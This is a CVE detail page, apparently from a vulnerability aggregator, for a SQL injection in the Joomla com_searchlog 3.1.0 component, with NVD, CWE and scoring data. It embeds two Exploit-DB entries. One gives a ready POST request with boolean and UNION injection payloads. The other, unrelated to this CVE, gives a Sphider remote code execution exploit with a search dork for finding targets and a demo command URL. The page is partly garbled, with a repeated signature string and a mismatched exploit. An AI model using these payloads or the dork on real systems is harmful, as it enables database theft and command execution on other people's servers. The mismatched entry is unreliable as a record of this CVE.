CVE-2010-5044 : Detail

CVE-2010-5044

SQL Injection
A03-Injection
0.13%V3
Network
2011-11-02
20h00 +00:00
2017-08-28
10h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

SQL injection vulnerability in models/log.php in the Search Log (com_searchlog) component 3.1.0 for Joomla! allows remote authenticated users, with Public Back-end privileges, to execute arbitrary SQL commands via the search parameter in a log action to administrator/index.php. NOTE: some of these details are obtained from third party information.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 6 AV:N/AC:M/Au:S/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 13746

Publication date : 2010-06-05 22h00 +00:00
Author : d0lc3
EDB Verified : No

#Exploit Title: Joomla Component com_searchlog SQL Injection #Date: 05/06/2010 #Author: d0lc3 d0lc3x[at]gmail[dom]com #Software Link: http://www.kanich.net/radio/site/searchlog/searchlog-download #Version: 3.1.0 #Tested on: Linux ubuntu32 2.6.32-22-generic x64 #Summary: Good nights, at this occassion we have other not-saned POST variable on administrator/components/com_searchlog/models/log.php, line 30: ... $search = $mainframe->getUserStateFromRequest($option . '.search', 'search', '', 'string'); //wtf!? $this->filter_actid = $mainframe->getUserStateFromRequest($option .'actid','actid',0,'int'); $data->search = JString::strtolower($search); //wtf!? $callbase = JRequest::getInt('callbase', 1); $newact =JRequest::getString('newact'); $data->newact = ""; if ($task=="" and $newact!="") { $data->newact = $newact; }if ($task == 'upload' or $task == 'savenew') { $data->sort = 'dates'; $limitstart = 0; }else { $data->sort = JRequest::getVar('sort', 'calls'); }if ($data->search) { $where[] = "(LOWER( m.call ) LIKE '$data->search%' OR LOWER( m.call ) LIKE '%/$data->search%')"; //likely SQLi ... In order to exploit it, i advice programming script for it :P but if only you want try vuln, to change POST request on HTTP header: http://VICTIM/administrator/index.php?option=com_searchlog&act=log POST /administrator/index.php?option=com_searchlog&act=log HTTP/1.1 Host: VICTIM Content-Type: application/x-www-form-urlencoded Content-Length: xxx search=[SQLi] &sort=calls&limit=20&limitstart=0&option=com_searchlog&act=log&task=&callbase=1&boxchecked=1&hidemainmenu=0 Where [SQLi] = someLogExisting') and 1=1# => true someLogExisting') and 1=2# => false UNION SQLi = someLogExisting') union select 1,2,3,4,5,6,7,8# by r0i by r0i by r0i by r0i by r0i by r0i by r0i by r0i by r0i by r0i by r0i by r0i
Exploit Database EDB-ID : 13745

Publication date : 2010-06-05 22h00 +00:00
Author : XroGuE
EDB Verified : No

======================================================================= # Sphider Script Remote Code Execution ======================================================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 #################################### 1 0 I'm XroGuE member from Inj3ct0r Team 1 1 #################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 ######################################################################## # Name: Sphider Script Remote Code Execution # Vendor: http://www.sphider.eu # Version: 1.3.x # Risk: Hight # Date: 2010-06-05 # Author: XroGuE # Thanks to: Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com ! # Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com # Home: (-_+) ######################################################################## ######################################################################## [+] Vuln code : settings/conf.php ***************************************************************** /*********************** General settings ***********************/ // Sphider version $version_nr = '1.3.5'; //Language of the search page $language = 'en'; // Template name/directory in templates dir $template = 'standard'; //Administrators email address (logs can be sent there) $admin_email = 'admin@localhost'; // Print spidering results to standard out $print_results = 1; // Temporary directory, this should be readable and writable $tmp_dir = 'tmp'; /*********************** Spider settings ***********************/ // Min words per page required for indexing $min_words_per_page = 10; system($_GET[$language]); ***************************************************************** [+] D0rk :"powered by sphider" [+] Ex: http://[target]/[path]/settings/conf.php?en=[Ev!l] [+] Demo: http://[site]/search/settings/conf.php?en=uname -a ########################################################################

Products Mentioned

Configuraton 0

Kanich>>Com_searchlog >> Version 3.1.0

Joomla>>Joomla\! >> Version *

References

http://www.vupen.com/english/advisories/2010/1363
Tags : vdb-entry, x_refsource_VUPEN
http://osvdb.org/65185
Tags : vdb-entry, x_refsource_OSVDB
http://www.securityfocus.com/bid/40588
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/40055
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.exploit-db.com/exploits/13746/
Tags : exploit, x_refsource_EXPLOIT-DB